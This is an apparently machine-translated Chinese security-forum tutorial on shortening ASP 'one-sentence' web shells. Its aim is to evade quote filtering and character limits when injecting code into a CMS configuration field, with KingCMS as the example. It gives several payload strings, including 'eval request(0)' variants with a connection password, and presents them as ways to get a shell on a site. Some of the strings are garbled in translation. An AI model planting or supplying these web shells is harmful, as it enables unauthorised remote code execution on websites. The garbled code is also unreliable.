Some tips of asp in one sentence

Author: fallen leaves [J. L.S. T]
Source: Security leaf technical Team [J. Leaves Security Team] (http://00day.cn)


Tips for one sentence may be much viewed on the Internet. What is the distortion? Change the tips to two sentences and change the tips to three sentences, let's change the four sentences ............. too much ........

The number of characters in a sentence is generally at least 24 bytes, but it can be less. Sometimes we may encounter characters such as "" and "" when inserting a horse, there may also be character restrictions. Here I will share YY with you ~~

Last time someone asked kingcms to take shell method involves "around" things, the specific discussion posted on: http://00day.cn/forum/read.php? Tid = 892

If you are interested, let's take a look. This system mainly filters single quotes and double quotes. Let's take a look at the part of the file he wants to insert:

........................................ .....
Top = "Security leaf technical team"
Timeout = 3000
........................................ .....

If we want to bypass the top project, it is obviously very difficult, because the program filters single quotes and double quotes. Generally, a Trojan horse writes "<% execute request (" l ") %> ".

This is obviously not feasible. Even if the execution can be completed, closing the previous "" is also puzzling.

Therefore, we can only pin our hopes on timeout, because this project does not need to be closed, A smart friend may think of inserting "<% execute request (chr (42) %>"

But what if the program has a limit on the number of characters? We can only reduce the number of characters as much as possible. Many friends will think that "<% execute request (chr (42) %>" is already the most streamlined, but it is not actually

We can write "<% execute (request (0) %>" in this way, and the connection password is "0"

Why? Not enough? You can also write "<% eval request (0) %>" with only 19 characters. Generally, the program write limit is 20 characters, so that the verification can be bypassed.

"<% Eval request (0) %>" can bypass some other verification methods, depending on the situation.